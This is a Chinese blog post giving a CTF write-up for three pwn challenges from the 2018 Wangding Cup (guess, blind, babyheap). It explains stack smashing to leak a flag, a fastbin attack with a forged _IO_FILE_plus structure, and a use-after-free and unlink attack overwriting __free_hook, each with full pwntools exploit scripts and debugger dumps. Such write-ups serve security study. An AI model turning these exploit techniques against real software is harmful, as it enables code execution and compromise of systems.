美文网首页CTF Re&&Pwn
2018-网鼎杯 第一场 pwn writueup

2018-网鼎杯 第一场 pwn writueup

作者: zs0zrc | 来源:发表于2018-08-26 19:49 被阅读8次

    网鼎杯第一场wp

    • guess

      防护机制:

      image.png

    开启了canary和NX

    简单的看了下反编译的逻辑

     HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
      if ( HIDWORD(stat_loc.__iptr) == -1 )
      {
        perror("./flag.txt");
        _exit(-1);
      }
      read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);
      close(SHIDWORD(stat_loc.__iptr));
      puts("This is GUESS FLAG CHALLENGE!");
    

    发现它将flag读取到栈上了,结合它开的防护机制NX,可以想到smash the stack这种攻击手法,利用 __stack_chk_fail 来打印想要的信息,因为flag在栈上,所以要先泄露出栈的地址,然后将argv[0]覆盖成flag的地址,通过触发 _stack_chk_fail来将flag打印出来。栈的地址可以通过libc中的一个变量 _environ变量泄露出来。因为在libc中的全局变量 environ储存着该程序环境变量的地址,而环境变量是储存在栈上的,所以可以泄露栈地址,进而计算出flag在栈上的地址。

     while ( 1 )
      {
        if ( v6 >= v7 )
        {
          puts("you have no sense... bye :-) ");
          return 0LL;
        }
        v5 = sub_400A11();
        if ( !v5 )
          break;
        ++v6;
        wait((__WAIT_STATUS)&stat_loc);
      }
      puts("Please type your guessing flag");
      gets(&s2);
      if ( !strcmp(&buf, &s2) )
        puts("You must have great six sense!!!! :-o ");
      else
        puts("You should take more effort to get six sence, and one more challenge!!");
      return 0LL;
    

    可以发现程序只能输入三次,并且这里有gets函数,存在栈溢出,所以可以触发 _stack_chk_fail。因为只能输入三次,所有要构造好输入

    思路:

    1. 先泄露libc地址
    2. 通过libc中的 __enviorn 变量泄露出栈地址
    3. 利用 _stack_chk_fail 打印出flag

    几个地址:

    argv[0] = 0x7fffffffde88
    buf_add = 0x7fffffffdd60
    flag = 0x7fffffffdd30
    offset = 0x128
    flag_offset = 0x158
    

    exp:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    from pwn import*
    context.log_level = 'debug'
    p = remote('106.75.90.160',9999)
    elf = ELF('./GUESS')
    
    log.info('leak libc')
    p.recv()
    payload = 'a'*0x128
    payload += p64(0x602048)
    p.sendline(payload)
    
    p.recvuntil('detected ***: ')
    leak = u64(p.recv(6)+ '\x00'*2)
    print hex(leak)
    libc = leak - 0x20740
    env_addr = libc + 0x3c6f38
    print "env _add -->[%s]"%hex(env_addr)
    
    log.info('leak stack address')
    payload1 = 'a'*0x128 + p64(env_addr)
    p.recvuntil('r guessing flag')
    p.sendline(payload1)
    p.recvuntil('detected ***: ')
    leak_stack = u64(p.recv(6)+ '\x00'*2)
    print "stack --> address[%s]"%hex(leak_stack)
    
    log.info('show the flag')
    stack_add = leak_stack
    payload2 = 'a'*0x128 + p64(stack_add - 0x168)
    p.recv()
    p.sendline(payload2)
    p.recv()
    p.interactive()
    
    
    • blind

      防护机制:

    image.png

    开启了Full RELRO,Canary和NX,所以改got表的操作就不可行了

    简单分析下程序的逻辑

    程序一共有三个功能:

    1. new 分配一个大小为0x68的chunk,并读入content
    2. change 编辑chunk的内容
    3. release 将chunk free 掉,但没清空指针,这里存在uaf漏洞,同时这个操作只能做三次

    同时程序存在system函数

    image.png

    ​ 同时分配的chunk的地址都存储在bss段的一个数组中

    image.png
    因为不可以修改got表,同时没有可以泄露地址的地方,所以改malloc hook那些操作也做不了。
    但是它又存在system函数,在bss段上存在 stdin,stderr,stdout等_IO_FILE结构体的指针,
    所以想到的是修改文件流的指针,使其指向伪造的IO_FILE结构体来getshell。
    因为程序存在uaf漏洞,所以可以通过fastbins attck 分配到包含全局变量数组的chunk,就可以实现任意地址读写。
    大致思路是:
    1. 利用fastbins attack控制全局变量数组
    2. 向bss段写入伪造的_IO_FILE_plus 结构体 以及 vtable数组
    3. 修改stdout指针指向伪造的_IO_FILE_plus结构体
    
    • fastbins attack 控制 ptr数组

      new(0,'a\n')
      new(1,'b\n')
      delete(0)
      change(0,p64(0x60203d)+'\n')
      payload = 'a'*0x13 + p64(0x602020)+p64(0x602090)+ p64(0x602090+0x68)+ p64(0x602090+0x68*2) + p64(0x602090+0x68*3)+'\n'
      new(2,'a\n')
      new(3,payload)
      
    • 伪造 stdout结构体

      gef➤  p  *(struct _IO_FILE_plus *) stdout
      $2 = {
        file = {
          _flags = 0xfbad2887, 
          _IO_read_ptr = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
          _IO_read_end = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
          _IO_read_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
          _IO_write_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
          _IO_write_ptr = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
          _IO_write_end = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
          _IO_buf_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
          _IO_buf_end = 0x7f5b6742a6a4 <_IO_2_1_stdout_+132> "", 
          _IO_save_base = 0x0, 
          _IO_backup_base = 0x0, 
          _IO_save_end = 0x0, 
          _markers = 0x0, 
          _chain = 0x7f5b674298e0 <_IO_2_1_stdin_>, 
          _fileno = 0x1, 
          _flags2 = 0x0, 
          _old_offset = 0xffffffffffffffff, 
          _cur_column = 0x0, 
          _vtable_offset = 0x0, 
          _shortbuf = "\n", 
          _lock = 0x7f5b6742b780 <_IO_stdfile_1_lock>, 
          _offset = 0xffffffffffffffff, 
          _codecvt = 0x0, 
          _wide_data = 0x7f5b674297a0 <_IO_wide_data_1>, 
          _freeres_list = 0x0, 
          _freeres_buf = 0x0, 
          __pad5 = 0x0, 
          _mode = 0xffffffff, 
          _unused2 = '\000' <repeats 19 times>
        }, 
        vtable = 0x7f5b674286e0 <_IO_file_jumps>
      }
      

      伪造的IO_FILE_plus结构体中的flags要满足下面的条件

      flag&8 = 0 and flag &2 =0 and flag & 0x8000 != 0
      所以flag的值可以为0xfbad8000 或者0xfbad8080
      

      其他的根据原本的结构体伪造就行了

      fake_struct = p64(0x00000000fbad8000) + p64(0x602060)*7 + p64(0x602061) + p64(0)*4  
      fake_struct += p64(0x602060) + p64(0x1)  + p64(0xffffffffffffffff)+ p64(0) 
      fake_struct += p64(0x602060) + p64(0xffffffffffffffff) + p64(0) + p64(0x602060) 
      fake_struct += p64(0)*3 + p64(0x00000000ffffffff) + p64(0) 
      fake_struct += p64(0)+ p64(0x602090 + 0x68*3)
      fake_vtable = p64(system_addr)*10 + '\n'
      

      伪造后的结构体

      gef➤  p *(struct _IO_FILE_plus *)0x602090
      $1 = {
        file = {
          _flags = 0xfbad8000, 
          _IO_read_ptr = 0x602060 "  `", 
          _IO_read_end = 0x602060 "  `", 
          _IO_read_base = 0x602060 "  `", 
          _IO_write_base = 0x602060 "  `", 
          _IO_write_ptr = 0x602060 "  `", 
          _IO_write_end = 0x602060 "  `", 
          _IO_buf_base = 0x602060 "  `", 
          _IO_buf_end = 0x602061 " `", 
          _IO_save_base = 0x0, 
          _IO_backup_base = 0x0, 
          _IO_save_end = 0x0, 
          _markers = 0x0, 
          _chain = 0x602060, 
          _fileno = 0x1, 
          _flags2 = 0x0, 
          _old_offset = 0xffffffffffffffff, 
          _cur_column = 0x0, 
          _vtable_offset = 0x0, 
          _shortbuf = "", 
          _lock = 0x602060, 
          _offset = 0xffffffffffffffff, 
          _codecvt = 0x0, 
          _wide_data = 0x602060, 
          _freeres_list = 0x0, 
          _freeres_buf = 0x0, 
          __pad5 = 0x0, 
          _mode = 0xffffffff, 
          _unused2 = '\000' <repeats 19 times>
        }, 
        vtable = 0x6021c8
      }
      
    • 在bss段写入伪造的fake_struct和fake_vtable

      change(1,fake_struct[:0x68])
      change(2,fake_struct[0x68:0xd0])
      change(3,fake_struct[0xd0:]+'\n')
      change(4,fake_vtable+'\n')
      
    • 修改stdout指针指向伪造的fake_struct

      change(0,p64(0x602090)+'\n')
      

      最终成功getshell

      完整exp:

      from pwn import *
      context.log_level='debug'
      
      #p=remote('106.75.20.44', 9999)
      p = process('./blind')
      elf = ELF('./libc.so.6')
      
      def new(idx,content):
          p.sendline('1')
          p.recvuntil('Index:')
          p.sendline(str(idx))
          p.recvuntil('Content:')
          p.send(content)
          p.recvuntil('Choice:')
      
      def change(idx,content):
          p.sendline('2')
          p.recvuntil('Index:')
          p.sendline(str(idx))
          p.recvuntil('Content:')
          p.send(content)
          p.recv()
      
      def delete(idx):
          p.sendline('3')
          p.recvuntil('Index:')
          p.sendline(str(idx))
          p.recvuntil('Choice:')
      
      system_addr =  0x4008E3
      
      new(0,'a\n')
      new(1,'b\n')
      delete(0)
      change(0,p64(0x60203d)+'\n')
      payload = 'a'*0x13 + p64(0x602020)+p64(0x602090)+ p64(0x602090+0x68)+ p64(0x602090+0x68*2) + p64(0x602090+0x68*3)+'\n'
      new(2,'a\n')
      new(3,payload)
      
      
      fake_struct = p64(0x00000000fbad8000) + p64(0x602060)*7 + p64(0x602061) + p64(0)*4  
      fake_struct +=  p64(0x602060) + p64(0x1)  + p64(0xffffffffffffffff) + p64(0)
      fake_struct += p64(0x602060) + p64(0xffffffffffffffff) + p64(0) + p64(0x602060) 
      fake_struct +=  p64(0)*3 + p64(0x00000000ffffffff) + p64(0)*2 +  p64(0x602090 + 0x68*3)
      fake_vtable = p64(system_addr)*10
      
      change(1,fake_struct[:0x68])
      change(2,fake_struct[0x68:0xd0])
      change(3,fake_struct[0xd0:]+'\n')
      change(4,fake_vtable+'\n')
      change(0,p64(0x602090)+'\n')
      
      p.interactive()
      

    下面是比赛时没做出来的

    babyheap

    防护机制:

    image.png

    防护机制开启了full RELRO,所以修改got表函数的内容就不可行

    简单的分析下程序逻辑:

    有四个功能:

    1. alloc:分配一个大小为0x20的chunk,并向里面写入内容
    2. edit:对chunk进行编辑,总共只能编辑三次
    3. show: 打印chunk的内容,这里可以进行信息泄露
    4. free:将chunk free掉,这里没将指针置为0,存在UAF漏洞

    大致思路:

    这题中有show函数,所以应该要泄露出libc的地址,然后改malloc_hook或者free_hook 来getshell
    但是因为限定malloc的大小只能是0x20,所以要先想怎么产生一个unsorted bins中的chunk
    这里的思路是利用UAF漏洞 ,进行fastbins attack 分配包括下一个chunk size字段的chunk。
    就可以修改下一个chunk的size字段为0xa1,然后free掉这个chunk,这样就可以获得unsorted bins 的chunk了。
    再利用show功能就可以泄露出来libc的地址,这里要注意chunk overlap的影响。
    因为在bss段存在着存储chunk地址的全局变量数组,所以可以利用unlink来修改free_hook的内容
    
    • 泄露heap地址

      alloc(0,'aaaa\n')
      alloc(1,'bbbb\n')
      
      free(1)
      free(0)
      show(0)
      leak_heap = u64(p.recvline().strip('\n').ljust(8,'\x00'))
      heap_base = leak_heap - 0x30
      
    • fastbins attack 控制chunk1的size字段

      #先要在chunk0上伪造好size字段
      alloc(0,p64(0x31)*4)
      alloc(1,'bbbb\n')
      alloc(2,'cccc\n')
      alloc(3,'dddd\n')
      alloc(4,'eeee\n')#防止free掉的chunk和topchunk合并
      
      fake_chunk = heap_base + 0x20
      edit(0,p64(fake_chunk)+'\n')
      alloc(5,'aaaa\n')#chunk5
      alloc(6,p64(0)+p64(0xa1)+'\n')
      
    image.png
    • 泄露libc地址

      free(1)
      show(1)
      leak = u64(p.recvline().strip().ljust(8,'\x00'))
      main_arena = leak - 0x58
      libc_base = main_arena - libc.symbols['__malloc_hook'] -  0x10
      print "libc base address -->[%s]"%hex(libc_base)
      free_hook = libc_base + libc.symbols['__free_hook']
      print "free_hook -->[%s]"%hex(free_hook)
      one_gadget = libc_base + 0xf1147
      print "one_gadget -->[%s]"%hex(one_gadget)
      
    • 利用unlink修改free_hook为one_gadget

      #这里unlink的chunk要在一开始就构造好,在free掉0xa1大小的chunk时就要进行unlink
      #这里利用的是unlink向前合并,所以要伪造要进行unlink的下下个chunk的prev_size字段以及size字段
      #在这里需要检查 next chunk 是否是空闲的(通过下下个 chunk 的flag的最低位去判断),在找下下个chunk(这里的下、包括下下都是相对于大小为0xa1的chunk而言的)的过程中,都是通过当前chunk地址加上size大小找到的
      #所以一开始要分配5个chunk
      alloc(0,p64(0x31)*4)
      alloc(1,'b'*0x20)#chunk1  size will change -->0xa1
      alloc(2,'c'*0x20)
      alloc(3,p64(0x90)+'\n')
      alloc(4,p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))#chunk2
      alloc(5,p64(0x30)+p64(0x30)+'\n')#chunk5
      #在chunk2中伪造要unlink的fake_chunk
      #在chunk5中伪造prev_size以及size字段
      ---------------------------------------------------------------------------------------
      free(1)
      
      edit(4,p64(free_hook)+'\n')
      edit(1,p64(one_gadget)+'\n')
      

      unlink前堆的布局

      gef➤  x/40gx 0x0000000001a1a000
      0x1a1a000:    0x0000000000000000  0x0000000000000031
      0x1a1a010:    0x0000000001a10061  0x0000000000000000
      0x1a1a020:    0x0000000000000031  0x0000000000000031
      0x1a1a030:    0x0000000000000000  0x00000000000000a1<--target chunk
      0x1a1a040:    0x0000000000000000  0x6262626262626262
      0x1a1a050:    0x6262626262626262  0x0062626262626262
      0x1a1a060:    0x0000000000000000  0x0000000000000031
      0x1a1a070:    0x6363636363636363  0x6363636363636363
      0x1a1a080:    0x6363636363636363  0x0063636363636363
      0x1a1a090:    0x0000000000000000  0x0000000000000031
      0x1a1a0a0:    0x0000000000000090  0x0000000000000000
      0x1a1a0b0:    0x0000000000000000  0x0000000000000000
      0x1a1a0c0:    0x0000000000000000  0x0000000000000031
      0x1a1a0d0:    0x0000000000000000  0x0000000000000031<--unlink chunk
      0x1a1a0e0:    0x0000000000602068  0x0000000000602070
      0x1a1a0f0:    0x0000000000000000  0x0000000000000031
      0x1a1a100:    0x0000000000000030  0x0000000000000030<--fake size
      0x1a1a110:    0x0000000000000000  0x0000000000000000
      0x1a1a120:    0x0000000000000000  0x0000000000020ee1
      0x1a1a130:    0x0000000000000000  0x0000000000000000
      
      

      unlink后堆的布局

      gef➤  x/40gx 0x0000000001a1a000
      0x1a1a000:    0x0000000000000000  0x0000000000000031
      0x1a1a010:    0x0000000001a10061  0x0000000000000000
      0x1a1a020:    0x0000000000000031  0x0000000000000031
      0x1a1a030:    0x0000000000000000  0x00000000000000d1<--
      0x1a1a040:    0x00007f68429d7b78  0x00007f68429d7b78
      0x1a1a050:    0x6262626262626262  0x0062626262626262
      0x1a1a060:    0x0000000000000000  0x0000000000000031
      0x1a1a070:    0x6363636363636363  0x6363636363636363
      0x1a1a080:    0x6363636363636363  0x0063636363636363
      0x1a1a090:    0x0000000000000000  0x0000000000000031
      0x1a1a0a0:    0x0000000000000090  0x0000000000000000
      0x1a1a0b0:    0x0000000000000000  0x0000000000000000
      0x1a1a0c0:    0x0000000000000000  0x0000000000000031
      0x1a1a0d0:    0x0000000000000000  0x0000000000000031<--
      0x1a1a0e0:    0x0000000000602068  0x0000000000602070
      0x1a1a0f0:    0x0000000000000000  0x0000000000000031
      0x1a1a100:    0x00000000000000d0  0x0000000000000030
      0x1a1a110:    0x0000000000000000  0x0000000000000000
      0x1a1a120:    0x0000000000000000  0x0000000000020ee1
      0x1a1a130:    0x0000000000000000  0x0000000000000000
      
      
    image.png

    可以看到此时的chunk1在数组存储位置的内容已经被修改为free_hook了,在向chunk1写入就可以修改free_hook的内容了

    • 完整exp:

      from pwn import*
      context.log_level = 'debug'
      
      def alloc(idx,t):
          p.recv()
          p.sendline('1')
          p.recv()
          p.sendline(str(idx))
          p.recv()
          p.send(t)
          
      def edit(idx,t):
          p.recv()
          p.sendline('2')
          p.recv()
          p.sendline(str(idx))
          p.recv()
          p.send(t)
      
      def free(t):
          p.recv()
          p.sendline('4')
          p.recv()
          p.sendline(str(t))
      
      def show(idx):
          p.recv()
          p.sendline('3')
          p.recv()
          p.sendline(str(idx))
      
      #p = remote('106.75.67.115', 9999)
      p = process('./babyheap')
      elf = ELF('./babyheap')
      libc = ELF('./libc.so.6')
      
      sleep(5)
      alloc(0,p64(0x31)*4)
      alloc(1,'b'*0x20)
      alloc(2,'c'*0x20)
      alloc(3,p64(0x90)+'\n')
      alloc(4,p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))
      alloc(5,p64(0x30)+p64(0x30)+'\n')
      
      log.info("******************leak heap base address******************")
      free(1)
      free(0)
      show(0)
      leak_heap = u64(p.recvline().strip('\n').ljust(8,'\x00'))
      heap_base = leak_heap - 0x30
      print "heap base address-->[%s]"%hex(heap_base)
      chunk2_add = heap_base+0x20
      
      log.info("******************leak  libc adress******************")
      edit(0,p64(chunk2_add)+'\n')
      alloc(6,'a\n')
      alloc(7,p64(0)+p64(0xa1)+'\n')
      free(1)
      show(1)
      leak = u64(p.recvline().strip().ljust(8,'\x00'))
      main_arena = leak - 0x58
      libc_base = main_arena - libc.symbols['__malloc_hook'] -  0x10
      print "libc base address -->[%s]"%hex(libc_base)
      free_hook = libc_base + libc.symbols['__free_hook']
      print "free_hook -->[%s]"%hex(free_hook)
      one_gadget = libc_base + 0xf1147
      print "one_gadget -->[%s]"%hex(one_gadget)
      
      log.info("******************unlink******************")
      edit(4,p64(free_hook)+'\n')
      edit(1,p64(one_gadget)+'\n')
      
      free(1)
      p.interactive()
      

    相关文章

      网友评论

        本文标题:2018-网鼎杯 第一场 pwn writueup

        本文链接:https://www.haomeiwen.com/subject/xetaiftx.html